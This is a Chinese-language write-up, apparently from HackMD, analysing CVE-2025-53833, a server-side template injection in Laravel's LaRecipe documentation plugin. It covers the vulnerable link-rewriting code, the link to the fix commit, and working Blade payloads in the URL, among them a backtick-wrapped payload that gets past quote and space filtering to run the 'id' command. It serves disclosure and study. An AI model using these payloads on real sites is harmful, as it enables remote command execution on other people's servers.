# CVE-2025-53833 LaRecipe SSTI php框架Laravel中的LaRecipe(<2.8.1)插件的SSTI漏洞  [修補commit](<https://github.com/saleem-hadad/larecipe/commit/c1d0d56889655ce5f2645db5acf0e78d5fc3b36b>) ## 測試環境 WSL上的Laravel sail Laravel版本:12.0 LaRecipe版本:2.8.0 ## 漏洞函數  > 修正前的漏洞函數,位於`src/Models/Document.php` ## 套件功能介紹 此套件使用**ParsedownExtra**來解析Markdown語法,使其渲染在網頁上 原先文件中的`- [First Section](#section-1)`,其用途為錨點連結(anchor links) 經過ParsedownExtra轉換後變為 ```javacript= <li><a href="#section-1">First Section</a></li> ``` 而此套件又再進一步修正了此錨點連結(anchor links)的 URL 路徑,在函數`replaceLinks`裡使用`str_replace()`,將`"#`取代為抓取到的Uri ```php= $content = str_replace('"#', '"'.request()->getRequestUri().'#', $content); ``` ```javascript= <li><a href="/docs/1.0/test#section-1">First Section</a></li> ``` > 修正後的url  > 渲染結果為右側的目錄列,可進行導航 ## 漏洞成因 `getRequestUri()`這個函數實際上會抓取到除了原先的Path外,連**參數**也會一起抓到,接著作者又使用`str_replace()`來做拼接 ```javascript= // 使用http://localhost/docs/1.0/test?11111得到 <li><a href="/docs/1.0/test?11111#section-1">First Section</a></li> ``` 這導致使用者可以利用SSTI來執行指令並且利用這個anchor links顯示出執行結果 ```javascript= // http://localhost/docs/1.0/test?{{7*7}} <li><a href="/docs/1.0/test?49#section-1">First Section</a></li> ``` ## 測試 首先嘗試`{!!system('id')!!}`,但發現`'`被轉換成`%27`,導致報錯  > 可以確認模板為`Blade` 經過測試發現`'`、`"`和空格都被過濾了,因此使用 ``` {!!`id`!!} ```  > 成功執行指令
×
Sign in
Email
Password
Forgot password
or
Sign in via Google
Sign in via Facebook
Sign in via X(Twitter)
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
Continue with a different method
New to HackMD?
Sign up
By signing in, you agree to our
terms of service
.